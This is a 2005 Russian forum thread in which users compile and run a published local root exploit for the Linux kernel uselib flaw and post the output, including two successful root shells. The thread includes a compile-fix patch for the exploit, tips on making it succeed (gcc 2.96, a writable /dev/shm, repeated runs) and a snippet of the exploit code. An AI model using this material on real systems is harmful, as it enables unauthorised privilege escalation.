LINUX.ORG.RU

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Всем пох, модера выбирают :)

morge ★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

интересно что автор новости имел в виду под этимы замысловатыми стрелочками, типа '2.4 => 2.4.29-rc2'

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> интересно что автор новости имел в виду под этимы замысловатыми стрелочками, типа '2.4 => 2.4.29-rc2'

включая 2.4.29-rc2

JB ★★★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

$ gcc linux-2.6.10-root-elflbl_v108.c
linux-2.6.10-root-elflbl_v108.c: In function `scan_mm_start':
linux-2.6.10-root-elflbl_v108.c:425: error: storage size of 'l' isn't known
linux-2.6.10-root-elflbl_v108.c:425: error: storage size of `l' isn't known
linux-2.6.10-root-elflbl_v108.c: In function `check_vma_flags':
linux-2.6.10-root-elflbl_v108.c:545: error: label at end of compound statement

Reset ★★★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Видимо что экплойт скоро заработает, просто патчи в ядро ещё не приняли. :)
А у меня оно не компиляется, говорит:
elflbl.c: In function `scan_mm_start':
elflbl.c:425: error: storage size of `l' isn't known
elflbl.c:425: error: storage size of `l' isn't known
elflbl.c: In function `check_vma_flags':
elflbl.c:545: warning: deprecated use of label at end of compound statement

thand
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

вообщем там название структуры надо поменять на ту, что прописана в ldt.h, точно посмотреть щас не могу, так как моя линуховая машина после этого эксплоита подвисла перегружать надо

Reset ★★★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Правильно было бы написать: [2.4 ; 2.4.29-rc2'] по аналогии с обозначением отрезков, используя ] или ) для указания "включая" или "не включая". :->

macavity
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

bot@zs:~$ gcc -O2 -fomit-frame-pointer linuxkern24.c -o linuxkern                
linuxkern24.c: In function `check_vma_flags':
linuxkern24.c:545: warning: deprecated use of label at end of compound statement
bot@zs:~$ ./linuxkern 

[+] SLAB cleanup
    child 1 VMAs 1320
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdfc00000 - 0xff441000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied) 
Killed
bot@zs:~$

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

тьфу! Короче если ничего на /dev/shm не смонтировано, то вылетает FAILED на любом ядре, иначе может быть и сработает :)

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

я предсказывал 2 локалрута в 2.6.10. Ждем еще одного :)

toxa ★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

[xxx@xxxx tmp]$ ./elflbl

    child 1 VMAs 0
[+] moved stack bfffd000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfed2e000

[-] FAILED: try again (Cannot allocate memory)
Killed
 
RedHat 9.0 не падченый

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

    child 1 VMAs 0
[+] moved stack bfffc000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xff400000 - 0xffffd000

[-] FAILED: try again (Cannot allocate memory) 
Killed

debian sarge 2.6.8

thand
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

bash-2.05b$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl elflbl.c: In function `check_vma_flags': elflbl.c:546: warning: deprecated use of label at end of compound statement bash-2.05b$ ./elflbl

[+] SLAB cleanup child 1 VMAs 253 [+] moved stack 7fffe000, task_size=0x80000000, map_base=0x7f800000 [+] vmalloc area 0x8fc00000 - 0x9f597000 Wait... | [-] FAILED: uselib (Cannot allocate memory) Killed bash-2.05b$ uname -a Linux localhost 2.4.26-gentoo-r13 #2 Птн Дек 10 23:19:31 MSK 2004 i686 AMD Athlon(tm) XP 1900+ AuthenticAMD GNU/Linux bash-2.05b$ Никакого эффекта:)

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

эксплоит работает если:

1. gcc = 2.96 (на 3.3 у меня не работает) 2. /dev/shm is writeable ( chmod 1777 ) 3. с первого раза обычно не срабатывает - его нужно 3-4 раза подряд пускать

[+] SLAB cleanup child 1 VMAs 65527 child 2 VMAs 65527 child 3 VMAs 65527 child 4 VMAs 21900 [+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000 [+] vmalloc area 0xc8000000 - 0xcfc47000 Wait... | [+] race won maps=47452 expanded VMA (0xbfffc000-0xffffe000) [!] try to exploit 0xc8d17000 [+] gate modified ( 0xffec908c 0x0804ec00 ) [+] exploited, uid=0

sh-2.05# id uid=0(root) gid=0(root) groups=500(svpcom) sh-2.05#

SVpcom
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

n1tro@blacksun:~$ uname -a
Linux blacksun 2.4.27-grsec #2 Втр Окт 12 21:04:27 MSD 2004 i686 unknown unknown GNU/Linux
n1tro@blacksun:~$ ./elflbl

[+] SLAB cleanup
child 1 VMAs 114
[+] moved stack bfafd000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfee44000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied)
Killed
n1tro@blacksun:~$

n1tro
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

2.4.27 работает :(

cat /etc/fstab:
tmpfs /dev/shm tmpfs defaults 0 0

cpu
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> на 3.3 у меня не работает
Чтобы собрать на 3.3 (под FC2), нужен этот патч:
----
--- uselib.c.old 2005-01-08 02:45:34.055824232 +0300
+++ uselib.c 2005-01-08 02:31:14.937430080 +0300
@@ -33,6 +33,7 @@

#include <linux/elf.h>
#include <linux/linkage.h>
+#include <linux/unistd.h>

#include <asm/page.h>
#include <asm/ldt.h>
@@ -159,7 +160,7 @@

inline _syscall1(int, sys_uselib, char*, l);

-inline _syscall0(void, sys_sched_yield);
+inline _syscall0(int, sys_sched_yield);



@@ -537,11 +538,10 @@
__asm__("movl %%esp, %0" : :"m"(old_esp) );
} else {
__asm__("movl %0, %%esp" : :"m"(old_esp) );
- goto out;
+ return;
}
signal(SIGSEGV, vreversed);
val = * (unsigned*)(lib_addr + PAGE_SIZE);
-out:
}


----

В результате рута он мне не дал, но машину ребутнул, что
тоже очень неприятно было...

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

для FC3 (ядро 2.6.9-1.667)
[xxx@xxxx ~]$ ./uselib

    child 1 VMAs 0
[-] FAILED: unmap stack (Invalid argument)
Killed

вычисляется нулевой размер задачи
void prepare_finish()
{
int r;
static struct sysinfo si;
        old_esp &= ~(PAGE_SIZE-1);
        old_esp -= PAGE_SIZE;
        task_size = (((unsigned)old_esp + 1 GB ) / (1 GB)) * 1 GB;
//task_size = 0x0
        r = sys_munmap(old_esp, task_size-old_esp);
        if(r) fatal("unmap stack", 0);

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Мля с такими кривыми эксплойтами под Linux еще долго не появятся потоки вирусов!

Мля нужен универсальный Linux чтоб у всех все одинаково работало !!!
Ну нде эти гребанные стандарты?

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

а Пол то заботливый такой, через батрак всем исходники рассылает :)

Linux kernel sys_uselib local root vulnerability
Date: Yesterday 11:46:18
From: Paul Starzetz <ihaquer@isec.pl>
To: bugtraq@securityfocus.com, <full-disclosure@lists.netsys.com>, <vulnwatch@vulnwatch.org>
CC: vendor-sec <vendor-sec@lst.de>
Reply to: security@isec.pl
...
Appendix:
=========

Code attached.

x97Rang ★★★
() автор топика

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Slackware 10.0 со стандартным ядром не срабатывает:
marat@bgp:~$ uname -a
Linux bgp 2.4.26 #2 Вск Дек 5 22:30:39 UZT 2004 i686 unknown unknown GNU/Linux
marat@bgp:~$ cat /etc/slackware-version
Slackware 10.0.0
marat@bgp:~$ gcc -O2 -fomit-frame-pointer kernel.c -o kernel
kernel.c: In function `check_vma_flags':
kernel.c:545: warning: deprecated use of label at end of compound statement
marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 114
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied)
Killed

По умолчанию пермишены:
marat@bgp:~$ l /dev/shm/
итого 63
drwxr-xr-x 2 root root 48 2004-11-30 23:41 ./
drwxr-xr-x 15 root root 63344 2005-01-08 13:36 ../

делаем чмод:
root@bgp:~# chmod 1777 /dev/shm/
lroot@bgp:~# l /dev/shm/
итого 63
drwxrwxrwt 2 root root 48 2005-01-08 13:54 ./
drwxr-xr-x 15 root root 63344 2005-01-08 13:36 ../

marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 110
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
Wait... \
[-] FAILED: try again (Cannot allocate memory)
Killed
marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 65527
child 2 VMAs 648
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
Wait... \
[-] FAILED: try again (Cannot allocate memory)
Killed

Всё равно не срабатывает, хотя во время выполнения эксплоита машина тормозит конкретно, даже чуть не повисла.

gcc правда 3-й, патчей никаких не применял:
marat@bgp:~$ gcc --version
gcc (GCC) 3.3.4
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

unReal
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

ALTLinux Master 2.4 2.4.26-std-up-alt6

для того, чтобы сработало:

[root@eclipse q]$ mount -t tmpfs tmpfs /dev/shm

ну и дальше всё грустно:

[andrey@eclipse q]$ gcc elflbl.c elflbl.c: In function `check_vma_flags': elflbl.c:530: warning: deprecated use of label at end of compound statement [andrey@eclipse q]$ ./a.out

[+] SLAB cleanup child 1 VMAs 22216 [+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000 [+] vmalloc area 0xcbc00000 - 0xd774c000 Wait... / [+] race won maps=49986 expanded VMA (0xbfffc000-0xffffe000) [!] try to exploit 0xccf62000 [+] gate modified ( 0xffec937c 0x0804ec00 ) [+] exploited, uid=0

sh-2.05b#

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Кто-то ещё пользуется gcc-2?!? С gcc-3 не компилируется.

Selecter ★★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> для того, чтобы сработало:
>[root@eclipse q]$ mount -t tmpfs tmpfs /dev/shm

нифига не помогло.

root@bgp:~# chmod 1777 /dev/shm/
root@bgp:~# mount -t tmpfs tmpfs /dev/shm
root@bgp:~# mount
...
tmpfs on /dev/shm type tmpfs (rw)
marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 341
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
Wait... \Killed

unReal
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

А что ты хотел?

Альтлинукс традиционно уделяет большое внимание безопасности своих дистров. Странно, что вообще потребовался какой то иксплойт, чтобы его взломать.

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

robot12@hometux:~$ ./exploit
 
[+] SLAB cleanup
    child 1 VMAs 229
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfef66000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied)
Killed
robot12@hometux:~$ uname -a
Linux hometux 2.4.22 #6 Tue Sep 2 17:43:01 PDT 2003 i686 unknown unknown GNU/Linux
robot12@hometux:~$


Самовар 9.1

robot12 ★★★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

>Альтлинукс традиционно уделяет большое внимание безопасности своих дистров. Странно, что вообще потребовался какой то иксплойт, чтобы его взломать.

как раз таки на Альтлинуксе эксплоит удачно прошел, после пары манипуляций, а вот на Slackware 10.0 -- нифига.

unReal
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

2.6.10 - некомпилит:

bash-3.00$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
In file included from elflbl.c:35:
/usr/include/linux/linkage.h:5:25: asm/linkage.h: No such file or directory
elflbl.c: In function `check_vma_flags':
elflbl.c:545: warning: deprecated use of label at end of compound statement
elflbl.c:905:2: warning: no newline at end of file

плохо :)

Pi ★★★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

у меня нормально собрался ...

x97rang@darkstar:~/download/hack$ uname -a
Linux darkstar 2.4.22 #6 Tue Sep 2 17:43:01 PDT 2003 i686 unknown unknown GNU/Linux

x97rang@darkstar:~/download/hack$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-slackware-linux/3.2.3/specs
Configured with: ../gcc-3.2.3/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i486-slackware-linux --host=i486-slackware-linux
Thread model: posix
gcc version 3.2.3

x97Rang ★★★
() автор топика

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Я чего-то не пойму. А для чего вообще эта tmpfs?

Если только для того, что-бы получить быстрый, но крохотный аналог /tmp, то для большенства, как мне кажется, это не актуально...

Может еще для чего?

sergeil
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

>>Альтлинукс традиционно уделяет большое внимание безопасности своих дистров. Странно, что вообще потребовался какой то иксплойт, чтобы его взломать.

>как раз таки на Альтлинуксе эксплоит удачно прошел, после пары манипуляций, а вот на Slackware 10.0 -- нифига.

Да это прикалывается он так. :)) О том и речь

atoku ★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

tmpfs , это fs спенцово придуманная для хранения данных, которые не протребуются после перезагрузки. Она прозрачно для приложений растет из оперативки на диск. То, что эксплойт ее использует, не значит, что она дырява.

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> как раз таки на Альтлинуксе эксплоит удачно прошел, после

> пары манипуляций, а вот на Slackware 10.0 -- нифига

А ты внимательно прочти сообщение, на которое отвечаешь. Я тут в VMware поигрался, похоже ALT Linux - единственный дистрибутив, на котором СРАБОТАЛ этот эксплойт. Не сработал ни на RedHat, ни на Debian, ни на слакваре, ни на дженту, ни на ASP, ни на Mandrake, ни на SUSE.

l0gin
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> Я чего-то не пойму. А для чего вообще эта tmpfs?
Через неё, в частности, реализован механизм Posix SHM
в glibc. По этому монтировать обязательно! Если не
смонтировать, не будет работать shm_open() (man 3 shm_open),
и, соответственно, все проги, его использующие, работать
не будут тоже. Хотя большинство таких прог имеют обходной
вариант (fall-back) на случай отсутствия /dev/shm. Вот
сейчас исходники dosemu глянул (исходники dosemu - это
просто кладезь "нестандартных решений":) - у него аж
два фолл-бэка: если shm_open() не срабатывает, он что-то
мутит с mmap(), а если и это не работает, тогда он создаёт
гигантский файл в /tmp, и в комментариях написано, что
это будет сильно тормозить. Так что /dev/shm лучше всегда
монтировать. Памяти он зря отъедать не будет всё равно,
так что потерь никаких.

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

странно

ALT Linux 2.4 Master

thresh@cryo ~ $ uname -a

Linux cryo.korolev.net 2.4.26-vs-smp-alt8.1 #1 SMP Sun Dec 26 01:08:24 MSK 2004 i686 unknown unknown GNU/Linux

thresh@cryo ~ $ ls -ld /dev/shm

drwxrwxrwt 2 root root 40 Янв 8 15:44 /dev/shm

thresh@cryo ~ $ df -h /dev/shm

Файловая система Разм Исп Дост Исп% смонтирована на

tmpfs 252M 0 252M 0% /dev/shm

thresh@cryo ~ $ id

uid=500(thresh) gid=500(thresh) группы=500(thresh),6(disk),10(wheel),19(proc),31(netwatch),33(rpminst),51(ftpadm in),52(cvs),53(cvsadmin),80(cdwriter),100(users),107(netadmin),38(xgrp),39(ftn), 49(webmaster),59(sandman),61(nmapuser),65(hashman),506(thresh_a),507(thresh_b)

thresh@cryo ~ $ sudo select-gcc 2.96

warning: unable to open file: /etc/alternatives/auto/php-4.3.9.xml - skipping

warning: unable to open file: /etc/alternatives/auto/php-4.3.9.xml - skipping

warning: unable to open file: /etc/alternatives/auto/php-4.3.9.xml - skipping

thresh@cryo ~ $ gcc -O2 -fomit-frame-pointer file.c -o elflbl

file.c:905:1: warning: no newline at end of file

thresh@cryo ~ $ ./elflbl

[+] SLAB cleanup

child 1 VMAs 65526

child 2 VMAs 65526

child 3 VMAs 65526

child 4 VMAs 65526

child 5 VMAs 65526

child 6 VMAs 65526

child 7 VMAs 65526

child 8 VMAs 65526

child 9 VMAs 65526

child 10 VMAs 65526

child 11 VMAs 65526

child 12 VMAs 65526

child 13 VMAs 63628

[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000

[+] vmalloc area 0xdf800000 - 0xfeef8000

Wait... -

[-] FAILED: try again (Cannot allocate memory)

zsh: killed ./elflbl

thresh@cryo ~ $

Что я делаю не так?

thresh ★★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

>root@bgp:~# chmod 1777 /dev/shm/
>root@bgp:~# mount -t tmpfs tmpfs /dev/shm
:)))

У меня сложилось впечатление что срабатывание зависит то количества памяти на машине. На тачке с 256M сработало, на тачке с 1G не сработало с криком что не может выделить память :)

cpu
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Эксплоит не работает.
Например /dev/shm есть не у всех.


z2v
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> Эксплоит не работает.
> Например /dev/shm есть не у всех.
У таких много чего работать не будет, не только эксплойт.
У нормальных людей работает:)

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> root@bgp:~# chmod 1777 /dev/shm/

Это не нужно. При монтировании tmpfs права устанавливаются автоматом в 1777.

> root@bgp:~# mount -t tmpfs tmpfs /dev/shm

А это по идее должно быть на каждой машине прописано в fstab. Меня
крайне удивило, что очень у многих здесь tmpfs не смонтирована...
Она ведь и для СУБД разных нужна, и апач shm активно использует.

annonymous ★★
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Почему не работает? :))
Slackware 9.1/2.6.6/tmpfs включен
В fstab'e прописано.

key@ice:~$ ls -ld /dev/shm
drwxrwxrwt 2 root root 40 2005-01-08 17:54 /dev/shm/
key@ice:~$ ./exp

child 1 VMAs 0
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfef77000

[-] FAILED: try again (Cannot allocate memory)
Killed
key@ice:~$

Экплоит компилился gcc 2.96. Машина P4/512Mb памяти.

SteelKey
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

> крайне удивило, что очень у многих здесь tmpfs не смонтирована...
> Она ведь и для СУБД разных нужна, и апач shm активно использует.
tmpfs используется для только Posix SHM, а это всё же не очень
часто применяется почему-то (имхо самый простой и правельный
механизм использования shm).
Апач, похоже, использует anonymous SHM. Вот отрывок из
cat /proc/<pid>/maps апача:

b6df9000-b6e07000 rw-s 00000000 00:07 2807 /dev/zero (deleted)
b6e07000-b6e85000 rw-s 00000000 00:07 2805 /dev/zero (deleted)

Это SHM, о чём свидетельствует буква s в "rw-s". Но не в
/dev/shm, а в /dev/zero. SHM в /dev/zero открывается с помощью
mmap() с флагами MAP_SHARED|MAP_ANONYMOUS. Я когда это первый
раз увидел (в исходниках dosemu опять же), просто офигел. Не
думал, что на /dev/zero можно делать shared mapping. SysV SHM
тоже /dev/shm не требует, хотя наверное её перепишут на
использование tmpfs со временем. Пока же такая величайшая вещь
как tmpfs и правда довольно часто оказывается невостребованной.

anonymous
()

Re: Опубликован local root exploit для Linux kernel 2.4 => 2.4.29-rc2, 2.6 => 2.6.10

Ну незнаю! И апач у меня отлично работает без /dev/shm, и не встречал ни одной проги, которая не могла бы без этого обойтись. Хотя использую на домашней машине tmpfs для /tmp и /var/tmp - по-моему единственное преимущество от этого то, что нет необходимости чистить /tmp. Никаких изменений в производительности я не заметил. Кстати, какой дистр монтирует /dev/shm по умолчанию? Альты, аспы - невсчёт!

bill_gates
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.